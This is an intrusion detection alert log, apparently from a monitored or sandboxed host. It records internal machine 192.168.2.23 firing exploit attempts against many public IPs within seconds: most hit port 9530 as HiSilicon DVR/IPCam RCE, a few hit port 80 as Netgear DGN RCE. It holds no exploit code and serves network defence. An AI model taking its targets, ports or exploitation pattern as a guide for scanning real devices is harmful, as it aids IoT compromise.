ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.25.120.229

Timestamp:	05/16/24-16:38:57.409959
SID:	2030487
Source Port:	40764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.16.69.65

Timestamp:	05/16/24-16:38:50.004192
SID:	2030488
Source Port:	35320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.25.120.229

Timestamp:	05/16/24-16:38:57.409959
SID:	2030488
Source Port:	40764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.16.69.65

Timestamp:	05/16/24-16:38:50.004192
SID:	2030487
Source Port:	35320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.74.143.145

Timestamp:	05/16/24-16:39:08.124511
SID:	2030488
Source Port:	42008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.74.143.145

Timestamp:	05/16/24-16:39:08.124511
SID:	2030487
Source Port:	42008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.251.169.75

Timestamp:	05/16/24-16:38:57.448063
SID:	2030488
Source Port:	50692
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.251.169.75

Timestamp:	05/16/24-16:38:57.448063
SID:	2030487
Source Port:	50692
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.183.140.177

Timestamp:	05/16/24-16:39:02.726871
SID:	2030487
Source Port:	39934
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.183.140.177

Timestamp:	05/16/24-16:39:02.726871
SID:	2030488
Source Port:	39934
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.139.168.177

Timestamp:	05/16/24-16:39:14.523117
SID:	2030487
Source Port:	37514
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.139.168.177

Timestamp:	05/16/24-16:39:14.523117
SID:	2030488
Source Port:	37514
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.102.127.233

Timestamp:	05/16/24-16:38:59.519256
SID:	2030488
Source Port:	51342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.102.127.233

Timestamp:	05/16/24-16:38:59.519256
SID:	2030487
Source Port:	51342
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.97.231.184

Timestamp:	05/16/24-16:39:05.715259
SID:	2030488
Source Port:	58900
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.225.20.53

Timestamp:	05/16/24-16:39:02.725547
SID:	2030488
Source Port:	42872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.225.20.53

Timestamp:	05/16/24-16:39:02.725547
SID:	2030487
Source Port:	42872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.45.195.8

Timestamp:	05/16/24-16:38:50.080392
SID:	2030488
Source Port:	57300
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.45.195.8

Timestamp:	05/16/24-16:38:50.080392
SID:	2030487
Source Port:	57300
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.198.207.153

Timestamp:	05/16/24-16:39:08.148279
SID:	2030488
Source Port:	48144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.198.207.153

Timestamp:	05/16/24-16:39:08.148279
SID:	2030487
Source Port:	48144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.225.84.59

Timestamp:	05/16/24-16:38:59.557086
SID:	2030487
Source Port:	42304
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.225.84.59

Timestamp:	05/16/24-16:38:59.557086
SID:	2030488
Source Port:	42304
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 13.78.46.182

Timestamp:	05/16/24-16:38:55.231881
SID:	2030487
Source Port:	41502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.234.132.127

Timestamp:	05/16/24-16:39:05.711661
SID:	2030488
Source Port:	50820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 13.78.46.182

Timestamp:	05/16/24-16:38:55.231881
SID:	2030488
Source Port:	41502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.234.132.127

Timestamp:	05/16/24-16:39:05.711661
SID:	2030487
Source Port:	50820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.125.32.213

Timestamp:	05/16/24-16:39:14.529039
SID:	2030487
Source Port:	45478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.234.67.23

Timestamp:	05/16/24-16:38:55.215553
SID:	2030487
Source Port:	53760
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.134.224.229

Timestamp:	05/16/24-16:39:05.675816
SID:	2030488
Source Port:	50258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.125.32.213

Timestamp:	05/16/24-16:39:14.529039
SID:	2030488
Source Port:	45478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.234.67.23

Timestamp:	05/16/24-16:38:55.215553
SID:	2030488
Source Port:	53760
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.134.224.229

Timestamp:	05/16/24-16:39:05.675816
SID:	2030487
Source Port:	50258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.118.153.12

Timestamp:	05/16/24-16:39:12.301187
SID:	2030488
Source Port:	40808
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 206.92.128.139

Timestamp:	05/16/24-16:39:13.658796
SID:	2034576
Source Port:	38618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.128.175.230

Timestamp:	05/16/24-16:39:08.092970
SID:	2030487
Source Port:	34404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.128.175.230

Timestamp:	05/16/24-16:39:08.092970
SID:	2030488
Source Port:	34404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.198.196.189

Timestamp:	05/16/24-16:38:57.304680
SID:	2030487
Source Port:	37336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 158.150.123.97

Timestamp:	05/16/24-16:38:57.437165
SID:	2030488
Source Port:	37442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.198.196.189

Timestamp:	05/16/24-16:38:57.304680
SID:	2030488
Source Port:	37336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.97.231.184

Timestamp:	05/16/24-16:39:05.715259
SID:	2030487
Source Port:	58900
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 158.150.123.97

Timestamp:	05/16/24-16:38:57.437165
SID:	2030487
Source Port:	37442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.118.153.12

Timestamp:	05/16/24-16:39:12.301187
SID:	2030487
Source Port:	40808
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 47.0.138.63

Timestamp:	05/16/24-16:39:02.745318
SID:	2030487
Source Port:	51260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.9.185.84

Timestamp:	05/16/24-16:38:55.220858
SID:	2030487
Source Port:	56830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 47.0.138.63

Timestamp:	05/16/24-16:39:02.745318
SID:	2030488
Source Port:	51260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.158.88.110

Timestamp:	05/16/24-16:38:50.046612
SID:	2030487
Source Port:	49886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.9.185.84

Timestamp:	05/16/24-16:38:55.220858
SID:	2030488
Source Port:	56830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.162.82.144

Timestamp:	05/16/24-16:39:14.531146
SID:	2030487
Source Port:	49106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.158.88.110

Timestamp:	05/16/24-16:38:50.046612
SID:	2030488
Source Port:	49886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.162.82.144

Timestamp:	05/16/24-16:39:14.531146
SID:	2030488
Source Port:	49106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.241.238.233

Timestamp:	05/16/24-16:39:14.494666
SID:	2030488
Source Port:	47126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 152.83.5.53

Timestamp:	05/16/24-16:39:14.531074
SID:	2030488
Source Port:	60124
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 152.83.5.53

Timestamp:	05/16/24-16:39:14.531074
SID:	2030487
Source Port:	60124
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.96.41.142

Timestamp:	05/16/24-16:39:05.707005
SID:	2030487
Source Port:	46950
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.241.238.233

Timestamp:	05/16/24-16:39:14.494666
SID:	2030487
Source Port:	47126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.96.41.142

Timestamp:	05/16/24-16:39:05.707005
SID:	2030488
Source Port:	46950
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.191.43.139

Timestamp:	05/16/24-16:38:57.301349
SID:	2030487
Source Port:	57266
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.191.43.139

Timestamp:	05/16/24-16:38:57.301349
SID:	2030488
Source Port:	57266
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.146.226.174

Timestamp:	05/16/24-16:38:50.004162
SID:	2030488
Source Port:	36006
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.217.152.164

Timestamp:	05/16/24-16:38:55.207712
SID:	2030488
Source Port:	50630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 70.146.226.174

Timestamp:	05/16/24-16:38:50.004162
SID:	2030487
Source Port:	36006
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.217.152.164

Timestamp:	05/16/24-16:38:55.207712
SID:	2030487
Source Port:	50630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.229.167.39

Timestamp:	05/16/24-16:39:03.280142
SID:	2030487
Source Port:	57396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.216.61.51

Timestamp:	05/16/24-16:38:57.446978
SID:	2030487
Source Port:	60280
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.216.61.51

Timestamp:	05/16/24-16:38:57.446978
SID:	2030488
Source Port:	60280
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.229.167.39

Timestamp:	05/16/24-16:39:03.280142
SID:	2030488
Source Port:	57396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.200.190.15

Timestamp:	05/16/24-16:39:08.123598
SID:	2030488
Source Port:	55322
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.237.176.156

Timestamp:	05/16/24-16:39:08.126479
SID:	2030488
Source Port:	49760
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.237.176.156

Timestamp:	05/16/24-16:39:08.126479
SID:	2030487
Source Port:	49760
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.197.245.233

Timestamp:	05/16/24-16:39:12.298309
SID:	2030487
Source Port:	42784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.197.245.233

Timestamp:	05/16/24-16:39:12.298309
SID:	2030488
Source Port:	42784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.156.81.71

Timestamp:	05/16/24-16:38:53.011335
SID:	2030488
Source Port:	38030
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.156.81.71

Timestamp:	05/16/24-16:38:53.011335
SID:	2030487
Source Port:	38030
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.200.190.15

Timestamp:	05/16/24-16:39:08.123598
SID:	2030487
Source Port:	55322
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.144.25.205

Timestamp:	05/16/24-16:39:02.746072
SID:	2030487
Source Port:	52706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.144.25.205

Timestamp:	05/16/24-16:39:02.746072
SID:	2030488
Source Port:	52706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.13.13.47

Timestamp:	05/16/24-16:38:50.047560
SID:	2030487
Source Port:	42928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.13.13.47

Timestamp:	05/16/24-16:38:50.047560
SID:	2030488
Source Port:	42928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.12.98.136

Timestamp:	05/16/24-16:39:02.762988
SID:	2030488
Source Port:	58358
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.12.98.136

Timestamp:	05/16/24-16:39:02.762988
SID:	2030487
Source Port:	58358
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.64.195.67

Timestamp:	05/16/24-16:39:05.699943
SID:	2030487
Source Port:	42634
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.248.206.183

Timestamp:	05/16/24-16:38:55.229908
SID:	2030488
Source Port:	55544
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.64.195.67

Timestamp:	05/16/24-16:39:05.699943
SID:	2030488
Source Port:	42634
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.120.213.82

Timestamp:	05/16/24-16:39:16.604226
SID:	2030488
Source Port:	40734
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.120.213.82

Timestamp:	05/16/24-16:39:16.604226
SID:	2030487
Source Port:	40734
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.248.206.183

Timestamp:	05/16/24-16:38:55.229908
SID:	2030487
Source Port:	55544
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 101.163.115.246

Timestamp:	05/16/24-16:39:14.494590
SID:	2030487
Source Port:	44330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 101.163.115.246

Timestamp:	05/16/24-16:39:14.494590
SID:	2030488
Source Port:	44330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 141.201.95.83

Timestamp:	05/16/24-16:39:05.506976
SID:	2034576
Source Port:	36038
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.104.169.193

Timestamp:	05/16/24-16:39:14.528955
SID:	2030488
Source Port:	32792
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.60.71.104

Timestamp:	05/16/24-16:39:12.383587
SID:	2030488
Source Port:	40970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.104.169.193

Timestamp:	05/16/24-16:39:14.528955
SID:	2030487
Source Port:	32792
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.60.71.104

Timestamp:	05/16/24-16:39:12.383587
SID:	2030487
Source Port:	40970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 17.202.189.141

Timestamp:	05/16/24-16:38:49.277416
SID:	2034576
Source Port:	37404
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.174.17.88

Timestamp:	05/16/24-16:38:53.098251
SID:	2030488
Source Port:	33726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.174.17.88

Timestamp:	05/16/24-16:38:53.098251
SID:	2030487
Source Port:	33726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.131.162.57

Timestamp:	05/16/24-16:39:08.148313
SID:	2030488
Source Port:	39484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.173.218.28

Timestamp:	05/16/24-16:38:50.046363
SID:	2030488
Source Port:	53364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

